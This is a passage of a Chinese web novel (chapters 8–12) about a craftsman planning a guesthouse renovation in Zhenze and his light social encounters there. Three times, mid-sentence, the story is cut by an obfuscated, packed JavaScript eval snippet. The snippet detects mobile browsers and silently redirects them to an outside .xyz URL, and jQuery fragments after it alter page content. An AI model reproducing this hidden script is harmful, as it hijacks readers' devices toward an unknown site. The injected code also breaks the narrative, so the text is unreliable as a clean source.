冯小军不由感慨道:“哎,童年的味道,一晃眼我也老了。” 张野:“...” 陆砚:“...” 你小时候的儿歌也这么野性? 懂了,你的童年我的童年大家不一样! 而瞥过沈语棠的侧脸时,她攥着扶手,目光落在前方的路面。 看得出拘束,拘束下应该不是排斥,而是缺少类似的交流经验。 毕竟代沟在这,大家的童年不一样...... 没多久,平整的马路铺开一排商业街,商业街开过,慈云寺塔就立在眼前。 乍看,青砖砌的塔身不算特别,飞檐翘角带着江南建筑的秀气,搁在古代该是地标,可在看惯了短视频奇妙景观的现代人眼里,属于中人之姿。 来都来了,不进去总感觉亏了。 三男一女踩着石板路步入寺内,塔周的建筑群在阳光下规规矩矩。 转了一圈,没有电影镜头中的宁静祥和,也没有故事性极强的钟声响起......总体感觉略显平淡。 倒是两侧祖师殿和迦蓝殿的题字扎眼—— 活着,就已经是赚到了;你真的是在拜佛,而不是在拜私欲吗。 新漆的字,红得鲜亮,内容带着点直戳人心的锐劲,像朋友圈文案。 陆砚站了会儿,忽然咂摸出点意思: 这字里藏着当地的心思,懂年轻人想看什么,也肯在文旅上花力气。 此时,他猛地想起沈秀娥昨天的话—— 发展非遗民生,可以申请政府补贴,装修费返三成。 想来震泽镇有意把招牌打响,为经济发展扫开障碍。 或许,垫资风险并没有想象中的大......装修的时候一定要注意按照补贴标准施工! “小军,你又没没有发现这里的女人,穿的衣裳都有点传统。” 张野蛄蛹着自己的观察,语气间满是渴望。 而此时,陆砚才注意到几人的衣着: 沈语棠的衣服很有特色,浅灰外套、立领白衫,兼具现代风格的同时,领口袖口有蚕茧造型的盘扣,梳着辫子,典型的苏州本土风格; 冯小军则是一副红毯打扮,红蓝外套上,骚气的别了根胸针...... 唯有张野,管你什么地方,该怎样怎样,就是短发渐长,没洗头的习惯快遮不住了。 由着路人帮忙拍完合照,首站便差不多告一段落。 “这个......小姑娘,接下来你带着他们俩去逛逛就好,咱们分头行动。” “好。” “陆哥。小军攻略都做好了,你不来?” 他眨巴眼睛,见状陆砚脑子饶了个弯,没好气地拍过去: “去吧,操些多余心!” 张野嘿嘿一笑,款爷的气势上来了,手一挥领着两人往外走,比沈语棠更有导游劲头...... 随后,陆师傅扎进本地的建材市场,先看看原料价格。 他做事向来是这个理: 战略上可以放宽心,但战术上得攥紧了。 尤其垫资的活,原料把控是根弦,松不得。 市场里满是水泥和木料的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104831|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味,先是扎进卖基础料的铺子,也就是水泥沙子之类。 这类原料价格基本稳定,而且现在大环境不好,处于价格低点,但质量是否合格需要看看。 老板凑过来递烟: “师傅懂行啊,我这都是海螺牌,C32.5,家里装修、找平足够用。” 他没搭理,这家太热情。 后又逛了特色料,诸如当地桑木饰条、缂丝布料等。 拿起一根木头条子掂量,纹理细密,硬度够,凑近能闻见淡淡的桑香。 摊主是个老汉,抽着旱烟:“南浦浜村收的,秋伐的枝子,耐潮。” 陆砚转头走了。 这个需要慢慢了解情况,后续找手艺人直供,中间环节能省不少,还能讲要求、挑成色。 最后进了家五金店。 老板一副无精打采的模样,见人进来也不招呼,眼里全然没有赚钱的欲望,顿时让他心里重视几分。 螺丝、砂纸、美纹纸摆得齐整。 陆砚转了一圈,见东西齐全,便开口道: “往后缺啥就找你,民宿在南浦浜那边,能送不?” “量大就能。” 于是跟老板互换了微信。 ...... 按照攻略,中午他们一起在仁安轩吃了蛋黄混沌,香而不腻,四个人吃了七份。 嘴里提溜着,陆砚对旁边的沈语棠说: “老板娘会做这个吗?” “噔噔噔噔噔——” 视频通话掐着一句话说完打来,待取出手机一看,屏幕对面是朵红得鲜艳的花束。 “苏棠,午饭吃这么早啊!” 他带着笑意迎接这个新时代的青年,仿佛在为其庆祝,终于克服社恐了。 话说,那是她自称的社恐吧? 全称应该是社交**。 “陆......砚,诺,你心心念念的花给你打视频了,开不开心?” “还行。” 此刻理性在线,对一朵花的思念,还捱得住。 倒是听见对方活力满满的声音,更高兴。 她把镜头翻转过来,一双藏着笑的眼睛瞧过来: “你吃什么呢,给我也来一份!” 男人把镜头转过张野他们,让其先打个招呼,然后对着一个圆鼓鼓的混沌,说: “这可不是普通的混沌,是王维诗里的混沌。” 老师傅准备现编一首打油诗安在古人身上,却不想对面不会看眼色,打起了岔: “旁边是谁。” 无妨,也能聊。 “诶巧了,旁边那个妹妹名字里也有棠,语棠,快给姐姐比个耶。” 镜头晃过来,精准捕捉了她愣神的瞬间,反应过来后,刷地就把头埋下去,肉眼可见的红了半边脸。 这变脸把三人逗得‘哈哈’直乐,比什么景点有意思多了。 苏棠没笑。 “陆师傅,这年头,姓yv的人可少见嘞。” “哦不是,她叫沈语棠。” 陆砚也意识到不妥,转过头对正主解释道: “喊你语棠是为了和那个姐姐对仗,她叫‘苏棠’,诶?名字倒挺合苏州的意,你们俩还挺有缘分。” “嗯......我知道的。”她抬了抬头,说“倷好(你好),苏棠姐姐。” 苏棠笑得灿烂,回道: “你好。” 声音也软绵绵的,和沈语棠像两姐妹,陆砚如是想到。 第九章 我自会打听 没有搭理一个名叫‘再睡五分钟’的网友发来的骚扰信息,什么‘跑腿费’啊、‘发红包请客吃蛋黄混沌’啊,统统忽略。 现在**猖獗,问你要转账的,一律视为缅甸的朋友。 回去路上,张野有气无力地夸赞着苏州评弹: “老倌子精气神很好,嗓子很亮,很有文化。” 这是一段加密对话—— 既没有当着沈语棠的面说艺术的坏话,低沉的调调也对陆砚传达了真实评价。 车内后视镜里,冯小军点头表示认同。 仿佛两人去剧院听了场英文版的哈姆雷特,还是初中英语老师演的。 得,看来他们距离老师傅的境界,还差段文化课要补。 陆砚私以为,若是自己在场,肯定能瞧出些一二三来...... 沈语棠指路,同样的白墙黑瓦倒过来瞧了一遍。 当地人看着慈云寺塔,就知道古镇景点分布; 车上众人看到窄路边,一片黄的田埂,就知道要回到客栈了。 “张哥,回去之后你先和小军帮着看看,检查一下房子结不结实......得空再把各个房间、墙面的尺寸量一下。” 他侧歪着屁股,嘴里的牙签一晃一晃的,像狗尾巴草: “莫得问题!” ...... 论女大学生破防有多难哄? 老洋房前院的玫瑰不语,只是一味发抖。 “好个语棠、语棠,这么快就找到平替了吗!嘴上说得好听的嘞,一口一个妹妹,一口一个缘分!难道对面是林妹妹吗!” 她想摔下洒水壶,又想着,砸到了花花草草多不好,结果只能生点窝囊气,骂几句良心喂了狗,谴责那个男人。 却不想,即使是背后说坏话,也会被命运之神降下惩罚—— 高跟鞋踩过碎石子轻响,她猛地回头。 顾南乔就站在院门口,穿件深灰西装套裙,领口别着枚细巧的胸针。 脸庞清减了,下颌线比上次见时更利落,可眼神亮得很,一点没垮。 她慢慢朝这边走,鞋跟敲在石板路上,笃笃的,透着股稳当劲儿。 “你在这做什么?” 苏棠没意识到起身,握着迷你洒水壶,情急之下话都说得不利索。 叫陆砚看见了,准会知道社恐两个字的真实含义: “我......在种花,”她补了一句,“我家是开花店的。” 说完就想咬掉舌头。 开花店和在别人院子里种花有什么关系?难不成这样说,就能让自己蹲在这儿的样子不那么傻? 顾南乔在三步远的位置站停,阴影恰好落在她的脸上,没笑,只问: “为什么要在这里种?” 声音平平稳稳的,像在问一个再寻常不过的案子细节。 她知道对方大概猜得到,可被这么直戳戳问出来,脸还是‘腾’地烧起来。 “我......想学,帮家里分担一点压力。” 蠢**。 苏棠低着头,盯着自己鞋尖上的泥点,心里把陆砚翻来覆去骂了八遍—— 都怪他,非让自己在这守着,这下好了,脸全丢尽了。 “我记得附近有个枫糖花店,是你家吧?” 她猛地抬头,眼里惊讶藏不住。 “是。” 顾南乔从西装口袋里摸出张名片,递过来。 米白色的卡面,只有名字和电话,干净得像她的行事风格。 “有需要给我打电话。” 接过名片时,指尖有点抖,好在对方没有笑...... 等顾南乔转身离开,高跟鞋的笃笃声渐渐远了,才慢慢抬起头。 风卷着片梧桐叶落在脚边,她盯着那片叶子发愣。 刚才的对话像盘卡壳的磁带,在脑子里反复转。 有时候真想原地倒头就睡,把发生的事情当噩梦遗忘。 ...... 下午,沈语棠出去了,张野两人和一个小伙子在客厅处闲扯淡。 至于为什么用这么不高级的词语形容他们的对话呢,诸君且听—— “野史说,那赵子龙七进七出,杀得长坂坡溃不成军,但这长坂坡也不是什么省油的灯,她可是怡红院的头牌! 说时迟那时快,面对提枪子龙,长坂坡直接用出了一招老树盘根,一用力,赵子龙瞬间心防失守,再也没有办法进入长坂坡......” 这野史也太野,野的只剩下史了! 偏偏那俩人听得聚精会神,其中还一个自诩学生会的人才! “陆哥,快过来,有高手!” “......不了。” 陆砚微笑朝那年轻人点头,然后转身向外走。 我评弹输哪了?输哪了? 年纪轻轻的小伙子,可不兴卖弄太多学问哦! 来到前台,老板娘坐在位置上也没闲着,一会拨弄手机,一会核对本子上的账单,看着就忙。 于是男人礼貌打断: “咳咳。” “陆师傅,来得巧气,我正找你呢。” 我们微信都没有,你对着手机找谁? 忽略不必要的细节,陆砚递过去一份准备好的合同,直入主题: “我们准备这两天把前期工作做到位,老板娘,你有什么要求吗?我现在记一下。” 要说这前期规划之重、设计之要,自然是无可辩驳的。 但重中之重其实是照着甲方的意思,顺着来。 就好比一个什么都不懂的客户过来,说,把这面墙给我打通咯。 有技术的设计师会反驳,称效益不大、加重风险,或者巴拉巴拉,落到惹人烦的下场; 而老板则不同,就是客户说把整栋楼给炸了,只要对方肯担责,二话不说就会拍胸脯保证。 设计,是藏在服务业里的技术活! 陆砚很有觉悟——他现在不用考虑文化、艺术,要把重心放在经济效益上。 即,把活完成,把钱赚到(ps:甚至后者更重要)。 然而钱是那么好赚的吗? 事情没那么简单。 老板娘沉思了一会,开始东一嘴西一嘴地描述: “客厅那面老墙你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110882|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到了吧,诶对就那里,那是我丈夫生前最中意的一块位置,你说这墙都花了有什么好保留的呢,但是他不听......” “等等,我记一下,墙面要刷漆,换新,对吧?” “不,就保持原样。” “...” 那特么你说一大堆? 还丈夫生前...... 难不成你在暗示什么?总不能在炫耀吧? “......说说你的装修想法,我一会去找几个样板给你看看图片。” “陆师傅,我们这地方太旧了,我只知道要翻新,然后在二楼给布置间缂丝展示的房,剩下的......我只能说个大概方向。” “好呀,慢慢说,我们慢慢讨论。” 他面上笑着,悄摸吸了一口气。 跨界工作的第一个问题来了—— 和外行把冗杂的事情谈拢......谈准确! ...... 谈,谈个锤子! 他就知道,他早就知道: 不可以要求甲方有专业素养、把每件事都说清楚。 但是连大致感觉都含糊其辞,在甲方里面也属于炸裂的。 若说老板娘唯一有个方向的,那就是赚钱——把民宿装修成赚钱的模样,就是最好的。 嘻嘻,她可真精明,怎么其他老板没想到这出呢? 下次您去买菜,问摊贩老板,做什么菜最赚钱? 去营业厅办电话卡,问业务员哪张卡最有财运? 罢了。 清掉杂念之后,陆砚开始了本不属于他该干的事情——市场分析。 首先分析,来此地的消费人群。 再总结,主要消费人群来此处的目的。 最后考虑,店面要做出怎样的改变,可以迎合消费者的目的...... 想着想着,苏棠打来电话。 “喂,陆砚!” “喂!苏棠!” “哇,你比我还嚣张!你知不知道今天发生了什么?我为了帮你差点把这辈子的名誉和脸面丢光了......” 怎么评价呢?凶得可爱? 还有,今天镜头里没有光腿...... 和小丫头唠嗑的时间来了,这意味着一天又要结束了。 他一边应付,一边脑子里过着原料清单: 基础料多订三天后的量,够打墙底就行;桑木饰条得等跟手艺人聊完再定;五金件随用随补...... 直到听见对面说: “所以......律师果然有点东西,竟然能和我对话的时候不落下风。” 陆砚看着她,她的眼睛很狡猾,似乎知道男人一定会对这里感兴趣,故意端着姿态,等着开口询问。 换言之,钓鱼呢。 这年头,聊个天还不准人走神,年轻小姑娘真是越来越难唬弄了。 “您多厉害呀,蔫了吧唧的,谁看了都怕。” “陆砚!我跟你说,一会就是你怎么问,我都不会告诉你细节的!” 呵,他能被个小丫头牵着鼻子走? “无所谓的,我自己会打听。” 第十章 生活 昨晚的梦还黏在意识边缘,梦里有个女人,身上带着说不清的熟悉气息,像被春日洗过的太阳,暖得让人卸下心防。 他记得自己全然信任着,两人无限亲密,却怎么也看不清那张脸—— 一觉醒来......陆砚麻利地把内裤换下,洗了个澡。 热水哗哗冲下,脑子清明了。 意识流铺开网格,成串的事项和关键节点在脑子里跑,快得像按了加速键。 装修这行流程早有定数,成熟方案一抓一大把,能省大半设计功夫。 不过真要落实施工的时候,负责人和施工员的差别,就像老木匠手里的榫卯和钉子——一个得看全局,一个只管眼下。 现在,张野和冯小军大概还在睡懒觉,每天等着被安排干活。 但他不行,必须把每件事情像拼积木一样组装好: 拆旧阶段清场的同时,得把水泥沙子的送货时间敲死;基础改造铺管线时,就得跟贴砖师傅约好上门量尺寸的日子; 甚至这会儿搓着内裤,脑子里已在盘算第三阶段用的桑木饰条,能不能再想办法压价。 水流淌过下颌线,他扯来毛巾擦脸,镜子里的人眼角还带着点梦后的倦,眼神却亮得很。 此时门儿清着嘞。 反正不是古建,文化先放一边,省下来的,可都是自己的。 拆旧盯着能复用的饰面料,拆出的废料再拖出去回收,多一分算计,就多一分实在...... 当然,得先把细节敲定好,签完合同才行。 没有烘干房,陆砚走到阳台,晨光透过木格窗落到晾衣绳上,内裤挂在上面,棉布在风里轻轻晃。 换好衣服推开门,迎面走来个人。 是沈语棠。 穿了件月白小褂,扎了红绳的辫子松松挽在脑后,几缕碎发垂在颊边,怀里抱着个藤编衣篓。 “哟,早。” “陆师傅......我来换床单。” 昨天出去聊了几句,小妹妹应是和他们熟了几分。 没有之前那么木讷,但目光仍然一触即分,专盯着男人的下巴看。 陆砚这才想起民宿也有换洗床单被套的服务,总感觉有点心虚啊...... “放门口就行,一会我自己来。” “不行的。”她头埋得更低,衣篓在怀里轻轻颠了下,“今早换了晒一天,明天才能续上客用。姆妈说......要赶太阳。” 内向姑娘的坚持,总带着点软韧劲,陆砚没法子,侧身让开...... 她说了声‘谢谢’,快步溜进房间,卷起一缕皂角香。 下楼时,前厅后灶的格局透着股热乎气。 门帘后面,蓝布围裙站在白烟里,铁锅里‘咕嘟’响。 这场景,让人看着就想吃早餐: “老板娘,今天做什么吃呀!” 她隔着白汽扬声喊:“陆师傅稍等!面条马上好!” 灶边还站个小伙子,皮肤黝黑,穿件花夹克,正手舞足蹈着,见有人来了,话头猛地拐了弯,几步跨过来拍他肩膀: “哎朋友!相逢即是缘分啊!等面的空当,听段新鲜的不?” 他语速像蹦豆子,却字字清楚,眼神精神得很。 老板娘在灶上翻了下面,笑骂:“小黑你少缠着人瞎侃!” “哪里是瞎侃?那叫野史秘闻!” 名叫小黑的年轻人梗着脖子回了句,又转向这边: “陆师傅,怎么说?” 陆砚被他的热络逗笑,配合往客厅走,拉出张椅子: “什么秘闻?” 小黑屏住气,挪到桌对面,举止之间突然像变了个人。 此时他神情肃穆,背脊像松杆,让陆砚也跟着收了散漫,正了正神色。 “说那天下大势,分久必合,合久必分。古往今来多少豪杰,都栽在了群雄并起的三国!然而,说三国,就绕不开身负皇氏血脉的刘皇叔刘备!” 陆砚点点头,确认了,对方的口条是有专业素养在内的。 不仅如此,语言流畅、语气沉稳,反应其逻辑严密、内核强大,是要经过社会锤炼才能**得的...... 光论境界来看,眼前的小伙子恐怕不低。 此刻,小黑把胳膊支在桌上,身子往前探了半尺,声音压得像说暗号: “虽然我觉得只有七分真......据野史传,皇室还得是皇室,刘备起初哪是卖草鞋的?他分明是印小黄书起家的!所以道上都叫他‘刘黄书’!” 陆砚刚端起桌上的凉茶,一口没咽下去,“咳咳!咳咳!” 一道闪电照亮懵懂的大脑,想起来了,都想起来了。 原来这几天讲野史的是你啊!小黑子! 小黑眼都没眨,又往前凑了凑,神秘劲儿更足: “这个不行?那换一个—— 说那吕布奉先之勇武,盖世无双!然而为何甘愿做三姓家奴呢?嗨哟,纯是瞎传!他其实是......三家性......” 老板娘端着面过来,面碗‘咚’地搁在桌上,鳝糊的香混着白气漫开来: “陆师傅,明天早餐就换个口味,今天将就吃啊。” “客气了,客气了......” 小黑就此打住,斜眼瞧过来,嘿嘿笑。 ...... 马有失蹄,人有失手,老师傅也有被暗算的一天。 作为三观端正,思想保守的人士,他及时脱离出来,郑重表示对这些披着笑料外衣的无端构陷不感兴趣,它会解构很多英雄人物在心目中的形象。 俗称,滤镜碎了。 然而这些奇怪的知识像白纸上的墨点,越抹越乱...... 吃过早餐,陆砚准备散散步,顺便去村里看看当地工艺品的成色。 额,先去混个脸熟,日后好砍价。 老板娘说,‘附近几户人家抬头不见低头见的,记得去了报她的名字,不会被坑’。 也不知道落到实打实的价钱上,能有几分情面折扣...... 接过沈秀娥写的地址条,跟张野交代了今天的测量事宜,便出门往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110883|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南边走。 田埂边的马路刚被露水浸过,土黄色的路肩枯了一大片野草。 越往村里去,上海的钢筋水泥气就越淡—— 矮墙糊着黄泥,屋顶瓦片上堆压陈年的茅草,墙根堆着编到一半的桑枝筐,没栓绳的小黑小白小黄翘着尾巴四处晃荡。 粗粝得实在,和陆家嘴的玻璃幕墙是两个世界...... 陆砚没有那么嫌弃,只是有点想念过去的日子和过去的人......只是,还品不出人们说的乡土韵味。 “找老王师傅?我带你去!” 问路的时候,一个黑瘦中年汉子从桑田埂钻出来,手里攥着镰刀,刀背上着锈。 他是村里收桑枝的,姓赵,得知有人要进村看工艺品,便热络凑上来。 交换完姓名、来历,没走两步,赵老汉突然从裤兜摸出包烟,红盒软壳,算得上方正货。 他抖出一根递过来,指尖捏得紧: “来根?这烟不伤嗓子。” 陆砚微微发愣,眼前排场倒出乎预料。 “不用,谢了。” 他摆手时,瞥见对方眼里掠过丝得意,像展示什么了不得的家底。 随后一路攀谈,赵老汉的话匣子就没关过: “你别瞧不上咱村,”他踢开脚边的桑木废料,言语带点不服气,“咱村谁家没点手艺?王老五的爹会雕蚕匾,李婶的娘会缂丝,就连我媳妇,编的桑枝篮在镇上集市都抢着要!” 又往地上啐了口,“那些叫‘手艺人’的,不就是比咱多块牌子?**夫,谁比谁差?” 话里的酸气裹着桑田的土味,直呛人。 陆砚没接话,只望着路边墙头上晒的蚕茧,白花花的像堆碎雪—— 想来还真是,手艺藏在日常里,不必非得挂在嘴边,也不独属于名家、大家。 转进条窄巷,尽头就是老王师傅家。 土坯房,旧木门,门板上刻着歪歪扭扭的‘蚕’字,窗台上摆着个陶盆,里面养着株仙人掌。 据说——这不是野史! 据说被央视报道过,老师傅四十多年手上功夫,是有传承的、当地的活招牌。 刚到门口,赵老汉就换了副模样。 镰刀往墙根一靠,堆起笑,皱纹里的泥像是被熨平了: “王师傅!王师傅在家不?上海来的贵客看您来啦!” 他声音拔高了八度,尾音带着点刻意的甜,和刚才骂‘虚名’的劲儿判若两人。 屋里传来咳嗽声,一个白发老汉掀帘出来。 老赵几步迎上去,语气亲热得发腻: “您老精神好啊!看这脚步,比我还稳当!” 陆砚站在巷口,看赵老汉弓背陪笑的样子,突然明白过来: 刚才那包烟,那番不服气的话,或许都藏着点,虚张声势。 这村里的人情世故,比他算的建材账,要绕得多...... 没有急着上前,只望着窗台上的仙人掌—— 刺尖沾着的阳光,着实比老赵这个看似淳朴的汉子,更实在些。 第十一章 所谓御姐 ‘天天早餐店’的蒸笼,到上午十一点就只剩最后一波热气了。 老刘蹲在门口擦油乎乎的方桌,竹扫帚扫过地面,像在用钢丝球刷锅底; 他老婆额头冒着汗,正把剩的两屉包子往竹篮里装—— 他们家要积攒口碑,做早点讲究现包现蒸,卖不掉的绝不出摊,不是自家人热着吃,就是分隔壁街坊。 “刘嫂子,今儿生意旺啊。” 隔壁卖杂货的阿婆挎着竹篮路过,眯眼瞅着蒸笼。 女人抬头,话还未出口就已经捡了两个肉包、一杯热豆浆塞进对方挎篮里: “刚剩的,热乎呢,带回去给小孙子垫垫。” “哎哎,这咋好意思……” 对方嘴里推托,手却按住了篮子底,脚步没停,走远了还回头喊,“明儿给你捎把新笤帚!” 老刘直起身,看见这幕嘿嘿笑。 兜里的手机响起来,屏幕上跳着‘表妹’。 他擦了擦手,嗓门敞亮:“喂,秀娥?” “表哥哎!”电话那头传来沈秀娥带着吴地尾音的声儿,“装修的事,谈成啦!我想着今儿把合同签了!” “好,好。你可得好生待人家陆师傅。别看人家年轻,手上功夫扎实得很。” 老刘想说的是,陆师傅是师出名门、正儿八经有证的古建师傅,级别很高。 但是嘴笨,不知道电话那头能理解多少。 女人声音里掺了点犹豫: “我晓得晓得,看着是实在人,我再小气也不能慢待。就是......表哥,你说他们干活靠谱不?毕竟没接过民宿的活,要是拖拖拉拉的,我的店多关一天,就得亏一天的房钱......” “你这妹子,瞎操心!” 老刘赶紧保证道:“他跟我可不一样!人家是干大事的,装修那点工作,对他来说跟搭积木似的,利索着呢!” 电话那头像是松了口气: “哎,晓得了,那我就放心了。” 放下电话,沈秀娥站在民宿前厅,望着墙上挂的房态表——还有三间房住着客人,后天退房。 手机上,她指尖在‘今日入住’那一栏敲了敲,心里盘开了: 手艺好...... 既然利索,那不如多开两天?掐在年前多赚点再正式闭店,横竖能赶得及...... 这么一想,嘴角悄悄往上挑了挑,转身往厨房走,琢磨着中午给陆师傅他们加个荤菜。 ...... 原料是骨头,价格是肉,节奏是筋,三者捏合好了,活才能立住。 垫资的风险,就得靠这点精细劲儿,一点点往下卸。 不过不必急于一时。 陆砚跟胡须花白的王老师傅打了个招呼,进去转了一圈。 细细参观后,确认后了行价和质量,便又跑了趟建材市场,选购材料。 回来的时候已经中午,客厅被五六个人挤满,张野和冯小军赫然也在其中。 陆砚不是苏棠,没有社恐,却也没打算凑过去闲谈,因为...... “众所周知,所谓第一历史也只是无限接近于真相,而非真相本身—— 所以为了不让真相湮没,我们有必要在一些时候参考野史用以作证! 据野史传啊,周瑜这人气量甚小,他去世的时候诸葛亮都来吊孝了而诸葛亮**他却不来......” 有时候,不能关闭耳朵真是人体身上最大的缺陷。 陆砚隔着人群和小黑对视一眼,无奈露出微笑,随即向灶房走来。 厨房的烟火气很重,沈秀娥颠着铁锅,油星子溅在灶台上,滋啦声裹着酱油的咸香漫出来。 “老板娘,这灶上的活就没停过?” “陆师傅回来得巧!最后个红烧鱼,马上就好!” 声音钻出来的间隙,女人手里锅铲翻得飞快。 他扯了扯嘴角。 早上进门,对方也是句‘早餐马上做好’;中午从外面回来,还是这句‘菜马上做好’。 摸了摸肚子,心道难不成自己脸上写着‘饿’字? “陆师傅。” 身后的声音轻得像棉花,若不是离得近,早被堂屋的笑闹吞了去。 陆砚回头,沈语棠站在廊下。 十一月的风带着凉,她穿件浅灰夹袄,该是刚学艺回来。 女孩的皮肤算得上白,衬得眉眼愈发的淡,五官不算出挑,却干净得让人舒服。 早上换床单时见她辫梢系着红绳,此刻红绳没了踪影,只剩条乌油油的辫子垂在背后。 “哟,你也掐着点回来?”陆砚笑着往旁边让了让,“离饭点还差一小会,你比闹钟都准。” “我不是......” 她抬了眼,又低下去,视线落在自己鞋尖上。 男人心里掠过笑意。 城里姑娘爱叽叽喳喳,她却像株晚稻,闷头长,话少得金贵。 可谁的性子不是日子磨出来的?真的会保留,对自己毫无用处的‘缺点’吗? 这沉默许是护着她的东西。 于是提高了语气,想逗人多说两句: “往后别叫陆师傅了,跟着张野他们喊陆哥就行。可不准使坏,偷偷喊陆叔叔啊。” 话音落下去,像石子投进深潭,没起什么波澜。 她的眼神在地上飘,接着就往厨房里走,步子迈得急。 “姆妈,我来盛。” 声音低低的,走到沈秀娥身边,伸手去接锅铲。 陆砚的笑还僵在脸上,没来得及收。 廊下的风卷着油烟过来,让他觉得,似乎玩笑开得唐突了。 合理的...... 谁规定自己必能得女人喜欢的?据说没有分寸的男人最下头! 正尴尬着,老板娘端盘过来,扬声道: “你也是,陆师傅,以后别叫老板娘了,跟着小黑他们喊沈姐就行。” 她像是调侃,又像为自己女儿打抱不平,用着熟悉的句式反击。 “好嘞,沈姐。” 顺坡下驴,陆砚改口很快,没有被调侃的恼,倒像占了什么便宜似得。 眼角余光瞥见沈语棠握着锅铲的手轻轻颤了下,紧接着,那抹灰扑扑的背影也跟着抖了抖。 铁锅在女孩前面,不温不火的被翻动。 突然,心里那点,觉得她‘无趣’的念头,就淡了下去。 ...... 民宿的午饭时间像浸在热水里,旁边旅客的谈笑声、碗筷碰撞声、后厨偶尔飘来的锅铲响,搅成一团热热闹闹的人气。 陆砚他们刚扒了两口饭,就听见身后传来声轻得像羽毛落地的声音: “陆哥。”< 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“张哥,都是一张桌子上吃饭的,肯定要按我们的规矩来啊!以后老板娘叫沈姐,这位......叫......” “叫御姐?”小黑侧头插话进来。 “咳咳,你哪的口音,发音不标准了昂。” 旁边爆发出一阵笑,最边上的客人还跟着起哄: “这妹子看着文静,叫‘御姐’是有点反差!” 御姐的脸‘唰’地红透了,从脸颊一直蔓延到耳后,连脖子都泛着粉,手里的筷子停在半空,不知道的准以为、今天的菜有多辣呢。 陆砚不敢打趣太甚,人家家长就在后面呢! 谨言慎行! 赶紧转了话头,冲冯小军扬下巴: “小军哥,在学校成绩咋样?别总闷着。” 冯小军被戳到痒处,咧嘴‘赫赫’笑起来,有几分从前模样: “我可是学生会的。” 道罢,曾经的习惯说法,把自己晃了神。 看见陆砚一脸计谋得逞的样子,两人心照不宣将伤痛往事翻篇。 “小军哥,谦虚点,学生会还是太小了。缂丝你会不?咱们雨姐——” “叫我名字......就好了。” 沈语棠终于憋不住开了口,声音还是轻轻的。 她捧着碗侧了半边身子对着陆砚,却不看他。 眼神里没什么埋怨,只是带着点怯生生的较真。 “雨姐,这名字、霸气!” 小黑故意拖长了调子,引得邻桌又一阵笑。 沈语棠左右瞅瞅,大概是没辙了,转向后厨喊了声—— “姆妈!” 声音带着江南姑娘特有的缠绵劲儿,不像告状,像撒娇。 灶边正擦手的沈秀娥探出头,瞅见女儿红扑扑的脸,竟然笑着骂: “多大了还叫姆妈?没羞没臊!” 嘴上这么说,笑意藏不住。 官方吐槽最为致命,沈秀娥的话像发令枪响,整个民宿沸腾了,客人们拍着桌子乐,打趣小姑娘再没约束。 而陆砚看着整间屋子唯一绷着的脸和肩膀时而露馅的轻颤,渐渐也在她身上发现了萌点...... 震泽镇...... 生动了起来。 第十二章 简单的规划 众人的欢笑会把快乐放大,确认‘雨姐’没有生气以后,午餐便在愉快的氛围中结束了。 来此处的多为游客,很快众人便走了干净,留下他们仨,和擦桌子的沈语棠与洗碗筷的沈姐。 这对母女操持着民宿果真不容易啊...... 所以尽快帮忙装修,好让她们之后的利润高点吧。 陆砚领着张野和冯小军,观察民宿、做记录。 “张哥,主体检查过了吧?数据可得测准。” “放心,那会没喝酒。” 听到‘张野没喝酒’,这比‘我对天发誓’还要有可信度。 他们从上到下,从房梁墙面、到杂物间的边边角角,一一打量过去。 和老洋房不同,这里的活就没那么多讲究了,确认房子结构结实后,把电路检查好,地板墙面抹平,就几乎完成了百分之七十。 而这百分之七十的工作量,是有着相当成熟的流程,就像高中生提笔写议论文一样,没有创新、只要按照流程来,就可以拿高分。 如果字写得好,就是优秀作文;如果细节来点装饰,就是优秀施工。 需要有天马行空的创意,和调动艺术细胞吗? 完全不用。 所以大小李两人从团队出走,接装修的活,能无缝衔接。 “张哥,墙面刮腻子,你会吗?” “这事不存在会不会的,好多人现在都自己刷呢,跟摊煎饼一样的难度。” 虽然他的比喻很抽象,也有几分狂妄,但此时张野的狂妄能让他省去一个刷墙师傅的工钱,那便是好的。 “陆哥,我在学生会也刷过墙......” 陆砚目光一凝,现在学生会,竟恐怖如斯? “小军,你确定可以?” “哎呀陆哥,慢点做,没问题滴!不有我盯着在吗!” 倒也是。 就是没刷好,也不是什么大事,大不了再补补嘛。 那么...... 除了电路以外,什么地板啊、门窗啊、防水啊......都属于是老洋房项目的究极简易版,眼前一马平川啊。 既然如此的话,自己倒是可以多花点心思,在剩余百分之三十的工作量上—— 做出点符合政府补贴的效果。 ...... 